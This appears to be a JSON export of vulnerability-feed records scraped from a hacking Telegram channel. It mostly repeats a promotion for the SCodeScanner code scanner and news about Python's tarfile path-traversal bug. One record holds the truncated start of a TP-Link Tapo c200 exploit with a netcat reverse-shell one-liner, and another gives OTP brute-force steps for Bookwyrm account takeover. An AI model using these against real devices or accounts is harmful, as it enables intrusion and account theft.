"automation"}}, {"uuid": "b7317f50-fac9-4dff-abff-394b4974669b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.175056+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70283", "content": "KitPloit - PenTest Tools!\nSCodeScanner - Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB8XwFXLSZNCYm28Vi0TzfVTKdKOKVeDzD7IyCLkQNpElSpPzYL9MQj6JKtR4bIELZZuEfcz9UHAB3qsV7I1AD4_A7LaPWAIqX40BxcMTWJBWLa8D0du4mxfTAugKevmd_5to_4cxCvRTtu4xOPHlgs0yoszqzzyIez5ZAza4O0OEcLsOA2YiRnoOtKA/w640-h344/SCodeScanner.png \nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\nFeatures\n\n1. Supported PHP Language\n\n2. Supported YAML Language\n\n3. Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n\n4. Gives results in JSON format, which can easily be used to any other program.\n5. Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n6. Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository -\n\n* Run pip3 install -r requirements.txt\n\n* And run python3 scscanner.py --help\nFeedback/Imporvements\n\nI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.\n\nContact\n\nUtkarsh Agrawal\nWebsite\nDownload Scodescanner\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1527", "author": {"login": "automation"}}, {"uuid": "364e7f6c-d372-4fb7-8e96-dd4e76ab3cc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.129413+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70283", "content": "KitPloit - PenTest Tools!\nSCodeScanner - Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB8XwFXLSZNCYm28Vi0TzfVTKdKOKVeDzD7IyCLkQNpElSpPzYL9MQj6JKtR4bIELZZuEfcz9UHAB3qsV7I1AD4_A7LaPWAIqX40BxcMTWJBWLa8D0du4mxfTAugKevmd_5to_4cxCvRTtu4xOPHlgs0yoszqzzyIez5ZAza4O0OEcLsOA2YiRnoOtKA/w640-h344/SCodeScanner.png \nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\nFeatures\n\n1. Supported PHP Language\n\n2. Supported YAML Language\n\n3. Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n\n4. Gives results in JSON format, which can easily be used to any other program.\n5. Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n6. Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository -\n\n* Run pip3 install -r requirements.txt\n\n* And run python3 scscanner.py --help\nFeedback/Imporvements\n\nI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.\n\nContact\n\nUtkarsh Agrawal\nWebsite\nDownload Scodescanner\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1604", "author": {"login": "automation"}}, {"uuid": "94480441-2ea2-4f25-b668-048ada0d4a19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.085973+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70283", "content": "KitPloit - PenTest Tools!\nSCodeScanner - Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB8XwFXLSZNCYm28Vi0TzfVTKdKOKVeDzD7IyCLkQNpElSpPzYL9MQj6JKtR4bIELZZuEfcz9UHAB3qsV7I1AD4_A7LaPWAIqX40BxcMTWJBWLa8D0du4mxfTAugKevmd_5to_4cxCvRTtu4xOPHlgs0yoszqzzyIez5ZAza4O0OEcLsOA2YiRnoOtKA/w640-h344/SCodeScanner.png \nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\nFeatures\n\n1. Supported PHP Language\n\n2. Supported YAML Language\n\n3. Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n\n4. Gives results in JSON format, which can easily be used to any other program.\n5. Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n6. Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository -\n\n* Run pip3 install -r requirements.txt\n\n* And run python3 scscanner.py --help\nFeedback/Imporvements\n\nI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.\n\nContact\n\nUtkarsh Agrawal\nWebsite\nDownload Scodescanner\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1474", "author": {"login": "automation"}}, {"uuid": "98eff6b6-fc22-4855-b041-f2adbaa4c3f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.039299+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70321", "content": "Exploit Collector\nTP-Link Tapo c200 1.1.15 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png \nTP-Link Tapo c200 version 1.1.15 suffers from a remote code execution vulnerability.\n\nSHA-256 | 8e68cc2b8496ad99d86b7b36d04b8055a2811ee41b6746feca8d8f15c304f133\n\nDownload\n# Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)\n# Date: 02/11/2022\n# Exploit Author: hacefresko\n# Vendor Homepage: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/\n# Version: 1.1.15 and below\n# Tested on: 1.1.11, 1.1.14 and 1.1.15\n# CVE : CVE-2021-4045\n\n# Write up of the vulnerability: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce\n\nimport requests, urllib3, sys, threading, os\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nPORT = 1337\nREVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'\nNC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)\n\nif len(sys.argv) < 3:\nprint(\"Usage: python3 pwnTapo.py \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4045", "author": {"login": "automation"}}, {"uuid": "4b7dfc6e-1aea-4294-bb38-5f53300ee88b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:52.994275+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70275", "content": "SCodeScanner stands for Source Code scanner (https://www.kitploit.com/search/label/Scanner) where the user can scans (https://www.kitploit.com/search/label/Scans) the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) inside the source code before code gets published in Prod.\nFeaturesSupported  PHP (https://github.com/agrawalsmart7/scodescanner/tree/main/src/php) Language\nSupported YAML (https://github.com/agrawalsmart7/scodescanner/tree/main/src/yaml) Language\nPass results to bug tracking (https://www.kitploit.com/search/label/Tracking) services like Jira also Slack (https://www.kitploit.com/search/label/Slack) (Sending files to group to multiple people at once).\nGives results in JSON format, which can easily be used to any other program.Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.Rules that can scan advance patternsAchievementsSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.CVE-2022-1465CVE-2022-1474CVE-2022-1527CVE-2022-1532CVE-2022-1604How to run?Download the repository -\nRun pip3 install -r requirements.txt \nAnd run python3 scscanner.py --help \nFeedback/ImporvementsI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.ContactUtkarsh Agrawal (https://twitter.com/agrawalsmart7)\nWebsite (https://smart7.in/)\n\nDownload Scodescanner (https://github.com/agrawalsmart7/scodescanner)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1465", "author": {"login": "automation"}}, {"uuid": "10c3632c-88d1-463a-a479-2c8503873b42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:52.950866+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70275", "content": "SCodeScanner stands for Source Code scanner (https://www.kitploit.com/search/label/Scanner) where the user can scans (https://www.kitploit.com/search/label/Scans) the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) inside the source code before code gets published in Prod.\nFeaturesSupported  PHP (https://github.com/agrawalsmart7/scodescanner/tree/main/src/php) Language\nSupported YAML (https://github.com/agrawalsmart7/scodescanner/tree/main/src/yaml) Language\nPass results to bug tracking (https://www.kitploit.com/search/label/Tracking) services like Jira also Slack (https://www.kitploit.com/search/label/Slack) (Sending files to group to multiple people at once).\nGives results in JSON format, which can easily be used to any other program.Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.Rules that can scan advance patternsAchievementsSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.CVE-2022-1465CVE-2022-1474CVE-2022-1527CVE-2022-1532CVE-2022-1604How to run?Download the repository -\nRun pip3 install -r requirements.txt \nAnd run python3 scscanner.py --help \nFeedback/ImporvementsI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.ContactUtkarsh Agrawal (https://twitter.com/agrawalsmart7)\nWebsite (https://smart7.in/)\n\nDownload Scodescanner (https://github.com/agrawalsmart7/scodescanner)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1532", "author": {"login": "automation"}}, {"uuid": "81a83bec-369e-4f2a-b58e-3b4340a8081b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:52.907120+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70275", "content": "SCodeScanner stands for Source Code scanner (https://www.kitploit.com/search/label/Scanner) where the user can scans (https://www.kitploit.com/search/label/Scans) the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) inside the source code before code gets published in Prod.\nFeaturesSupported  PHP (https://github.com/agrawalsmart7/scodescanner/tree/main/src/php) Language\nSupported YAML (https://github.com/agrawalsmart7/scodescanner/tree/main/src/yaml) Language\nPass results to bug tracking (https://www.kitploit.com/search/label/Tracking) services like Jira also Slack (https://www.kitploit.com/search/label/Slack) (Sending files to group to multiple people at once).\nGives results in JSON format, which can easily be used to any other program.Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.Rules that can scan advance patternsAchievementsSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.CVE-2022-1465CVE-2022-1474CVE-2022-1527CVE-2022-1532CVE-2022-1604How to run?Download the repository -\nRun pip3 install -r requirements.txt \nAnd run python3 scscanner.py --help \nFeedback/ImporvementsI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.ContactUtkarsh Agrawal (https://twitter.com/agrawalsmart7)\nWebsite (https://smart7.in/)\n\nDownload Scodescanner (https://github.com/agrawalsmart7/scodescanner)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1527", "author": {"login": "automation"}}, {"uuid": "69347bd6-6a9c-4772-b8a1-fcd1020210f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:52.862035+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70275", "content": "SCodeScanner stands for Source Code scanner (https://www.kitploit.com/search/label/Scanner) where the user can scans (https://www.kitploit.com/search/label/Scans) the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) inside the source code before code gets published in Prod.\nFeaturesSupported  PHP (https://github.com/agrawalsmart7/scodescanner/tree/main/src/php) Language\nSupported YAML (https://github.com/agrawalsmart7/scodescanner/tree/main/src/yaml) Language\nPass results to bug tracking (https://www.kitploit.com/search/label/Tracking) services like Jira also Slack (https://www.kitploit.com/search/label/Slack) (Sending files to group to multiple people at once).\nGives results in JSON format, which can easily be used to any other program.Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.Rules that can scan advance patternsAchievementsSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.CVE-2022-1465CVE-2022-1474CVE-2022-1527CVE-2022-1532CVE-2022-1604How to run?Download the repository -\nRun pip3 install -r requirements.txt \nAnd run python3 scscanner.py --help \nFeedback/ImporvementsI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.ContactUtkarsh Agrawal (https://twitter.com/agrawalsmart7)\nWebsite (https://smart7.in/)\n\nDownload Scodescanner (https://github.com/agrawalsmart7/scodescanner)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1604", "author": {"login": "automation"}}, {"uuid": "8a8a8f89-fbc4-47e0-b726-a644f82828e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:52.814151+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70275", "content": "SCodeScanner stands for Source Code scanner (https://www.kitploit.com/search/label/Scanner) where the user can scans (https://www.kitploit.com/search/label/Scans) the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) inside the source code before code gets published in Prod.\nFeaturesSupported  PHP (https://github.com/agrawalsmart7/scodescanner/tree/main/src/php) Language\nSupported YAML (https://github.com/agrawalsmart7/scodescanner/tree/main/src/yaml) Language\nPass results to bug tracking (https://www.kitploit.com/search/label/Tracking) services like Jira also Slack (https://www.kitploit.com/search/label/Slack) (Sending files to group to multiple people at once).\nGives results in JSON format, which can easily be used to any other program.Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.Rules that can scan advance patternsAchievementsSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.CVE-2022-1465CVE-2022-1474CVE-2022-1527CVE-2022-1532CVE-2022-1604How to run?Download the repository -\nRun pip3 install -r requirements.txt \nAnd run python3 scscanner.py --help \nFeedback/ImporvementsI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.ContactUtkarsh Agrawal (https://twitter.com/agrawalsmart7)\nWebsite (https://smart7.in/)\n\nDownload Scodescanner (https://github.com/agrawalsmart7/scodescanner)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1474", "author": {"login": "automation"}}, {"uuid": "9004ace2-e769-49a9-af87-932bce078c1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:52.757752+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/69929", "content": "Exploit Collector\nBookwyrm 0.4.3 Authentication Bypass\n\nhttps://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png \nBookwyrm versions 0.4.3 and below suffer from an authentication bypass vulnerability due to a lack of rate limiting on OTP checks.\n\nSHA-256 | 01182b49f5094c1c536e28a7cca127e1933e717f4d3a739892d462bc0afce375\n\nDownload\n# Exploit Title: Bookwyrm v0.4.3 - Authentication Bypass\n# Date: 2022-08-4\n# Exploit Author: Akshay Ravi\n# Vendor Homepage: https://github.com/bookwyrm-social/bookwyrm\n# Software Link: https://github.com/bookwyrm-social/bookwyrm/releases/tag/v0.4.3\n# Version: <=\n# Tested on: MacOS Monterey\n# CVE: CVE-2022-2651\n# Original Report Link: https://huntr.dev/bounties/428eee94-f1a0-45d0-9e25-318641115550/\n\nDescription: Email Verification Bypass Leads To Account Takeover in bookwyrm-social/bookwyrm v0.4.3 Due To Lack Of Ratelimit Protection\n\n# Steps to reproduce:\n\n1. Create a acount with victims email id\n2. When the account is created, its ask for email confirmation via validating OTP \nEndpoint: https://site/confirm-email\n3. Enter any random OTP and try to perfrom bruteforce attack and if otp matches, We can takeover that account\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-2651", "author": {"login": "automation"}}, {"uuid": "b4d78ebc-b155-438b-8d33-ede82676c086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:52.701681+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70099", "content": "Dark Reading: Attacks/Breaches\n15-Year-Old Python Flaw Slithers into Software Worldwide\n\nAn unpatched flaw in more than 350,000 unique open source repositories leaves software applications vulnerable to exploit. The path traversal-related vulnerability is tracked as CVE-2007-4559.", "vulnerability": "CVE-2007-4559", "author": {"login": "automation"}}, {"uuid": "f5a7b1dd-421e-4f09-8c68-3dbaedab0658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:52.653887+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/70246", "content": "Black Hat Ethical Hacking\nPython\u2019s Tarfile path traversal bug from 2007 still present in 350k open source repos\n\nPython\u2019s Tarfile path traversal bug from 2007 still present in 350k open source reposPost Views: 2 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon-1.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes An estimated 350,000 open source repositories are affected by a 15-year old\u00a0path traversal\u00a0vulnerability in Python\u2019s tarfile module, according to security researchers.Having \u201cstumbled across\u201d the unpatched issue while investigating an unrelated vulnerability, they initially thought the flaw was a new zero-day bug before realizing it actually dated back to 2007.\n\nOriginally designated a severity score of CVSS 6.8, CVE-2007-4559\u00a0allows attackers to gain code execution from the file-write \u201cin most cases\u201d, said Trellix researcher Kasimir Schulz in a blog post\u00a0published yesterday (September 21).\n\nSchulz explained how Trellix researchers successfully achieved this outcome against wireless protocol analyzer Universal Radio Hacker, IT infrastructure management service Polemarch, and Spyder IDE, an open-source development environment for scientific programming.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patching marathonIn a separate Trellix blog post, Douglas McKee said 61% of a sample of around 300,000 files containing the tarfile module, which makes it possible to read and write tar archives, were vulnerable to the bug.\n\nTrellix has created patches for around 11,000 projects and anticipates that a further 70,000 projects will receive a fix in the coming weeks.\n\nThe vulnerability arose \u201cfrom two or three lines of code using unsanitized tarfile.extract()\u00a0or the built-in defaults of tarfile.extractall(),\u201d explains a third Trellix blog post\u00a0by Charles McFarland. \u201cFailure to write any safety code to sanitize the members files before calling tarfile.extract()\u00a0or tarfile.extractall()\u00a0results in a directory traversal\u00a0vulnerability, enabling a bad actor access to the file system.\u201d\n\nIf an attacker adds \u2018..\u2019 with the separator for the operating system (\u2018/\u2019 or \u2018\\\u2019) into the file name, they can escape the directory the file is supposed to be extracted into. Just a warningHowever, a Python bug thread\u00a0from 2007, which has been reopened in recent days, concluded with a maintainer asserting that \u201ctarfile.py does nothing wrong, its behaviour conforms to the pax definition and pathname resolution guidelines in POSIX. There is no known or possible practical exploit\u201d.\n\nThe maintainer did add a warning to the Python\u00a0documentation, which remains in place, that urges developers to \u201cnever extract archives from untrusted sources without prior inspection\u201d.\nTrending: Find Hidden Info using Google Dorking manually, and Automated using Pagodo\nTrending: Offensive Security Tool: fuxploider Corner casesTrellix\u2019s McKee acknowledged that there are legitimate use cases for preserving behavior that could be abused for malicious purposes. However, he said, \u201cin this instance I believe the risk outweighs the reward for accommodating a few corner cases\u201d, especially given \u201cmost\u201d third party online tutorials seemed to \u201cincorrectly demonstrate the insecure use of the tarfile module\u201d.\n\nTrellix created and open-sourced a tool to aid the research and patching process that automatically detects the vulnerability in source code by leveraging AST intermediate representation.\n\nCalled Creosote, the utility provides a means to scan closed source repositories too.\n\n\u201cThis vulnerability is incredibly easy to exploit\u201d and prevalent in the wild, making Python\u2019s tarfile module[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2007-4559", "author": {"login": "automation"}}]}